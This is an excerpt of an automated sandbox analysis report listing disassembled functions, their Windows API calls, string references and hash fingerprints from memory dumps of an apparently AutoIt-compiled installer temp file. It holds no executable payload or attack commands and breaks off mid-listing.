Part of subcall function 00341D65: ___crtCorExitProcess.LIBCMT ref: 00341D6B
Part of subcall function 00341D65: ExitProcess.KERNEL32 ref: 00341D74

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

RtlAllocateHeap.NTDLL(017C0000,00000000,00000001), ref: 0034462F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: f5969fd899f77e1d4dd3ba2ca6d2efa37b7effb1ee8ad5de3f72bfb3b1e60d35
Instruction ID: 7c82d8372a6605a38142d105dd1dacfd4e25c636c0c46b7314d1f7ea67d2903c
Opcode Fuzzy Hash: f5969fd899f77e1d4dd3ba2ca6d2efa37b7effb1ee8ad5de3f72bfb3b1e60d35
Instruction Fuzzy Hash: 02019231602201AAE6277B74AC42B6E33CCEB83761F530135F5059F1D2DFB8BC818A64

Function 0032E60E Relevance: 4.5, APIs: 3, Instructions: 31windowCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0032E646
DispatchMessageW.USER32(?), ref: 0032E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0032E664

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 721c8da75ac9c904711c6a34e8afede6f4ef0cbb39ceecb269f7ac94d89e1889
Instruction ID: 681900887f97bd78d91ab118cd7a1c077a94f48a91470ce86fba60dae31103c2
Opcode Fuzzy Hash: 721c8da75ac9c904711c6a34e8afede6f4ef0cbb39ceecb269f7ac94d89e1889
Instruction Fuzzy Hash: 60F01C766043559BDB62EAE19D8ABABB3DDBB94740F490C2DF642C6190EBB0D4048722

Function 0036C450 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0036C45E

Part of subcall function 003428CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00348715,00000000,003488A3,00344673,?), ref: 003428DE
Part of subcall function 003428CA: GetLastError.KERNEL32(00000000,?,00348715,00000000,003488A3,00344673,?), ref: 003428F0

_free.LIBCMT ref: 0036C46F
_free.LIBCMT ref: 0036C481

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 087bea45b9e552155f1be1c866ba964bb642fabb90d708dc02c9b9c981af8e32
Instruction ID: 1486c8196e64320c9accf6a4275effeabafeadc1f5f90c3575f2b2daa7b1ee7b
Opcode Fuzzy Hash: 087bea45b9e552155f1be1c866ba964bb642fabb90d708dc02c9b9c981af8e32
Instruction Fuzzy Hash: D8E017A161570196CA27EA7BA854BBB63CC6F04761B55982EF489EF186DF28F8408138

Function 0033058E Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

CALL, xrefs: 003310DB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 0e882adaddb37483a00aafce6786750ad14ba960b898c94c5929ed82541faca6
Instruction ID: 2fdb4d25268aafc51cbb68db15b794f6669dc1f9054d99051c9bfb82efb5ab55
Opcode Fuzzy Hash: 0e882adaddb37483a00aafce6786750ad14ba960b898c94c5929ed82541faca6
Instruction Fuzzy Hash: E0228C74608340CFDB2ADF14C4A1A6AB7E5FF84304F15896DE99A8B661D731EC84CF82

Function 00324010 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0032405A

Strings

EA06, xrefs: 003957B9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 3ecd03a39e1b98d1b49f92102dcc8b2ea5f809811619885e236ddc0fbcdb9572
Instruction ID: 209856e8da25d25c235179dc20a1716969fee2aec11031263b008b74e64149f0
Opcode Fuzzy Hash: 3ecd03a39e1b98d1b49f92102dcc8b2ea5f809811619885e236ddc0fbcdb9572
Instruction Fuzzy Hash: 84419C31A041749BCF138B64ECA17BEBFA69B55300F19C465EA829F282C631ADD087A1

Function 0037013F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 003701A9

Strings

0.0.0.0, xrefs: 003701B7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscmp
String ID: 0.0.0.0
API String ID: 856254489-3771769585
Opcode ID: 608d43c644dbb04fdd9057e79698cdc36b817d7da5363bb0b8402ff20959dbe4
Instruction ID: 724056d1607b593703b1bf9e166969927c0b7e6b2429cedc4f848e6139a91ee8
Opcode Fuzzy Hash: 608d43c644dbb04fdd9057e79698cdc36b817d7da5363bb0b8402ff20959dbe4
Instruction Fuzzy Hash: F0110639700214DFCB1AEF54D991EA9B3E9AF84714B00C059F609AF791DA74ED41CBA0

Function 00323BFF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00393CF1

Part of subcall function 003231B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 003231DA

Part of subcall function 00323A67: SHGetMalloc.SHELL32(1<2), ref: 00323A7D
Part of subcall function 00323A67: SHGetDesktopFolder.SHELL32(?), ref: 00323A8F
Part of subcall function 00323A67: SHGetPathFromIDListW.SHELL32(?,?), ref: 00323AD2

Part of subcall function 00323B45: GetFullPathNameW.KERNEL32(?,00000104,?,?,003E22E8,?), ref: 00323B65

Strings

X, xrefs: 00393D01

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Path$FullName$DesktopFolderFromListMalloc_memset
String ID: X
API String ID: 2727075218-3081909835
Opcode ID: 253f05db1adc7408adfc68a043873b01a96648e5ef960f00d65008810b454358
Instruction ID: d5a398f8bb82c16b1b89a6728e0147293bffbe1859780c50dd4886ec2ce0505b
Opcode Fuzzy Hash: 253f05db1adc7408adfc68a043873b01a96648e5ef960f00d65008810b454358
Instruction Fuzzy Hash: 71118AB1A10298ABCF06DFD4E8456DE7BFDAF45704F04400AE501BF341DBB95A498BA1

Function 003234C1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 003934AA

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LibraryLoad
String ID: >>>AUTOIT NO CMDEXECUTE<<<
API String ID: 1029625771-2684727018
Opcode ID: b413400bfb629f5f3dbdfb5f248d7fc48a156773cd84a35316a362591a7e7f41
Instruction ID: 804b304cbbd981ce92c99661a82d863089d9705c8f200575cb7ffe015f141cf1
Opcode Fuzzy Hash: b413400bfb629f5f3dbdfb5f248d7fc48a156773cd84a35316a362591a7e7f41
Instruction Fuzzy Hash: 45F0687190121DBE8F13FFB5D8518FFB7BCAA10300B118526F81596081EB389B09CB61

Function 00366852 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00366623: SetFilePointerEx.KERNEL32(?,?,?,00000000,00000001,00000003,?,0036685E,?,?,?,00394A5C,003BE448,00000003,?,?), ref: 003666E2

WriteFile.KERNEL32(?,?,">,00000000,00000000,?,?,?,00394A5C,003BE448,00000003,?,?,00324C44,?,?), ref: 0036686C

Strings

">, xrefs: 00366864

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: File$PointerWrite
String ID: ">
API String ID: 539440098-2195902231
Opcode ID: f2b4a30a4a33a4ce19e0e4be9f8c40c1ccbda5d0a17fa9ea71e221c1957406e1
Instruction ID: 6e57d132dcc31e968299a865ce8240e37381a7dc759a7fc158a1303f92545ad8
Opcode Fuzzy Hash: f2b4a30a4a33a4ce19e0e4be9f8c40c1ccbda5d0a17fa9ea71e221c1957406e1
Instruction Fuzzy Hash: 6FE04636000208BBDB21AF94E801A8ABBBCEB04350F00451AF94295010D7B5AE149BA4

Function 0035E390 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00321952

SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0035E3AA

Strings

@U=u, xrefs: 0035E3AA

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: @U=u
API String ID: 1777923405-2594219639
Opcode ID: 382ffd0c4030309e6231d8f9540af99d3af7f573e0ca908b02d9b71742f46d30
Instruction ID: fe46ea8cb2d69cf15368ded9852429a6b6c091f3ad3e2656ae6dbfba6b1aa6ad
Opcode Fuzzy Hash: 382ffd0c4030309e6231d8f9540af99d3af7f573e0ca908b02d9b71742f46d30
Instruction Fuzzy Hash: F0D01235144120AAFA766F14FD06FC177969B41751F120459B9816B0F5C7D25C815580

Function 0033F461 Relevance: 3.2, APIs: 2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b344951f7e23dd6caf10966960425e8a87dcf098a05282f5c22cc8fe8d1a80a
Instruction ID: 2e9d914cc0be5150c5e6ed9dde74b402fd502247688c7626241155104517e6b6
Opcode Fuzzy Hash: 3b344951f7e23dd6caf10966960425e8a87dcf098a05282f5c22cc8fe8d1a80a
Instruction Fuzzy Hash: 9B51D5316043019FCB16EF28D4D1BAA73E5AF89310F54856DF9968F292DB30ED45CB91

Function 00378065 Relevance: 3.1, APIs: 2, Instructions: 98COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00378074
GetForegroundWindow.USER32 ref: 0037807A

Part of subcall function 00376B19: GetWindowRect.USER32(?,?), ref: 00376B2C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$CursorForegroundRect
String ID:
API String ID: 1066937146-0
Opcode ID: e75e2c9bae540d4067ff2e1b81aa48dbe38c1c61f002c9341e64bbc63fde529a
Instruction ID: d1b1bb85cab55f670752ce170f8e0ff635a3916c8ee1e37ef24c997d3bbf0625
Opcode Fuzzy Hash: e75e2c9bae540d4067ff2e1b81aa48dbe38c1c61f002c9341e64bbc63fde529a
Instruction Fuzzy Hash: 0C313475A00218AFDB12EFA4DC85AEEB7B8FF14314F508429F946AB251DB34AE45CB50

Function 00321DCE Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 0039DB31
IsWindow.USER32(00000000), ref: 0039DB6B

Part of subcall function 00321F04: GetForegroundWindow.USER32 ref: 00321FBE

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Foreground
String ID:
API String ID: 62970417-0
Opcode ID: 5af77ce80281c8f72209476c51de3b619007b65366f708da7f8372a04813281b
Instruction ID: e798bc93bb328b326ffb4a85f7c1d2d848cf9118dfbae75d36242709233134a1
Opcode Fuzzy Hash: 5af77ce80281c8f72209476c51de3b619007b65366f708da7f8372a04813281b
Instruction Fuzzy Hash: EA21DF72600206BBDB22AF34DC81BFEB7AD9F80784F124429F95ACB141DB74EE019760

Function 00323682 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

74BFC8D0.UXTHEME ref: 003236E6

Part of subcall function 00342025: __lock.LIBCMT ref: 0034202B

Part of subcall function 003232DE: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 003232F6
Part of subcall function 003232DE: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0032330B

Part of subcall function 0032374E: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 0032376D
Part of subcall function 0032374E: IsDebuggerPresent.KERNEL32(?,?), ref: 0032377F
Part of subcall function 0032374E: GetFullPathNameW.KERNEL32(C:\Windows\Installer\MSI4976.tmp,00000104,?,003E1120,C:\Windows\Installer\MSI4976.tmp,003E1124,?,?), ref: 003237EE
Part of subcall function 0032374E: SetCurrentDirectoryW.KERNEL32(?), ref: 00323860

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00323726

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$DebuggerFullNamePathPresent__lock
String ID:
API String ID: 3809921791-0
Opcode ID: 1cc7e031dc84bc159670a80748c00e89daf5f296be9a30f33730441e12e72b88
Instruction ID: 7187f65d29c43aef77a6b6ae23babd68d7ffa9ed9a556ab827971e602927b320
Opcode Fuzzy Hash: 1cc7e031dc84bc159670a80748c00e89daf5f296be9a30f33730441e12e72b88
Instruction Fuzzy Hash: 20118E719083919BC722DF29E88591BFBECEB85750F00461EF4858B2A1DB709A44CF92

Function 00324B88 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000001,?,00324C2B,?,?,?,?,0032BE63), ref: 00324BB6
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000001,?,00324C2B,?,?,?,?,0032BE63), ref: 00394972

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 86591dab9e3ba3c9d18e7adb6af16c7c575234a0226864762f3f922dfdaf9ac8
Instruction ID: d094a3e7a26db196c958b9194c2442716ec5561c93e9dc005da0c2a15bd3dcfe
Opcode Fuzzy Hash: 86591dab9e3ba3c9d18e7adb6af16c7c575234a0226864762f3f922dfdaf9ac8
Instruction Fuzzy Hash: 6D01B170248318BEF7364E24DC8AF667BDCEB05B68F108319BAE56A1E0C6B09C45CB50

Function 0033F26B Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,0036AEA5,?,?,00000000,00000008), ref: 0033F282
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0036AEA5,?,?,00000000,00000008), ref: 0033F2A6

Part of subcall function 0033F2D0: _memmove.LIBCMT ref: 0033F307

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: 0b0d4f02337926ba9fd0a98a64671dee5c366982df95fec868719f63b1f7a066
Instruction ID: 8dddc25afe0bc01572cea83dbc3d9ef11a86aaaba40cd8e38985506b66d0ac6e
Opcode Fuzzy Hash: 0b0d4f02337926ba9fd0a98a64671dee5c366982df95fec868719f63b1f7a066
Instruction Fuzzy Hash: 9FF04FBA504114BFAB12AB65DC84CBB7FADEF8A360B408426FD09CE111CA31DC018770

Function 0034F782 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 0034F7D9
__close_nolock.LIBCMT ref: 0034F7F2

Part of subcall function 0034886A: __getptd_noexit.LIBCMT ref: 0034886A

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
